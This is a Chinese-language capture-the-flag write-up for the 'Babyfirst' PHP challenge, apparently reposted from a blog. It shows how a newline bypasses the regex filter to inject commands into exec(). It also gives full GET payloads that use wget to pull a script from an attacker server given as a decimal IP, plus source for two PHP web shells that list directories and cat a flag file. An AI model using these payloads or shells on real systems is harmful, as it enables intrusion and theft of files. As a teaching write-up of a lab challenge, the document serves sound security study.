Babyfirst的分析和解答

解题报告

本地环境搭建的时候,要把php.ini里的disable_function:后面的exec给去掉,不然就不能执行exec()函数。

去掉以后,要重启一下php-fpm: ststemctl restart php-fpm

wget 命令:从指定的服务器IP下载文件

解题:

审计代码:

  1. 读完代码后发现服务器将会给每个客户端ip以IP号在当前目录下(www下面)的sandbox文件夹下创建一个文件夹。
  2. 会对用户get提交的字段进行正则匹配,只允许字母和数字。
  3. exec('./ ' . implode(" ", $args)):说明我传入的参数数组会以空格分开,并在系统命令行调用。这就是个大漏洞了。

一些想法:

  1. 首先明确,我是要传入一个webshell来达到目的,比方说扫描目录。因为通过前面审计,已经知道了文件位置,就在 sandbox/IP/,可以直接访问。
  2. 有exec()函数,那我就可以用get传参的形式传递一些linux命令。达到一些效果。
  3. 由于对输入参数要进行preg_match(),只允许字母数字和前面提到的换行符,所以直接通过命令行写入是不可能的,特殊符号都被过滤掉了。那该怎么上传呢?查百度知道了可以用wget命令从指定服务器下载文件,默认下载网页更目录下的首页index文件。
  4. 那么,我就是要通过传参数实现命令的方式,来从指定的服务器下载我的脚本,然后执行它,获得我要的东西。

知识点:

  1. wget下载的php文件会被解析,也就是说他下载的文件只是页面上显示出来的信息。由于对输入进行了过滤,不能直接写ip地址(里面有点号),所以可以把他转化为十进制地址。
  2. 题目中的正则匹配有个漏洞,/^\w+$\中的$当遇到一个字符串的结尾是换行符(%0a)时还是可以匹配的。 利用这个特性,就可以绕过前面的preg_match()检查,同时多出的换行符还可以在exec()函数中执行 ,实现了Lunix命令行换行的效果。
  3. 当要执行PHP文件的时候,直接通过传参数的方式发送命令 php + {要解析的文件名},但是下载来的文件是有.html后缀的,显然这个”.”过不了正则匹配。其实,在Linux中PHP能够执行非压缩的打包的PHP文件 ,那么我们就可以把脚本下载到文件中,然后php +{文件名}执行它,产生效果,且能绕过正则匹配。

解题流程:

//这是扫描目录脚本
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
if(isset($_POST["cmd"])){
$path=$_POST["cmd"];
print eval(var_dump(scandir($path)));
}else{
echo "no post";
}
?>
');
?>


//这是知道flag.php文件位置后,查看php文件的脚本(拼接路径,cat查看文件)
<?php
file_put_contents('shell2.php', '
<?php
$output; 
$path1=dirname(__FILE__);
$path2=dirname($path1);
$path3=dirname($path2);
$comment="cat ".$path3."/flag.php";
exec($comment,$output);
print_r($output);
?>
');
?>
  1. 先创建一个文件夹,用于存放wget下载来的脚本,注意当前目录为sandbox/IP/。

    ?args[]=xxx%0a&args[]=mkdir&args[]=zj

  2. 进入文件夹并下载脚本

    ?args[]=xxx%0a&args[]=cd&args[]=zj%0a&args[]=wget&args[]={服务器十进制Ip}

  3. 用tar命令将文件打包

    ?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=muma&args[]=zj

  4. 执行这个文件产生效果

    ?args[]=xxx%0a&args[]=php&args[]=muma

  5. 这时候在sandbox/ip/目录下访问脚本产生的shell.php,通过post传值 (cmd=”{基于该目录下的目录路径}”),传入”.”查看当前目录下的文件,传入”../”查看上级目录就是sandbox/下的文件,传入”../../”,就可以看到有个flag.php了。

  6. 那么久访问一下这个flag.php,但是这个文件没有任何回显,flag肯定藏在注释里了。

  7. 知道文件位置信息后,重复上面的步骤,上传另一个脚本,(注意文件夹的名字换一个),再访问第二次产生的shell2.php,flag就出来啦~

    //Array ( [0] => //flag{everyday_MO_jUmO_PanG_JU} )

猜你喜欢

转载自blog.csdn.net/qq_41281571/article/details/82050652
今日推荐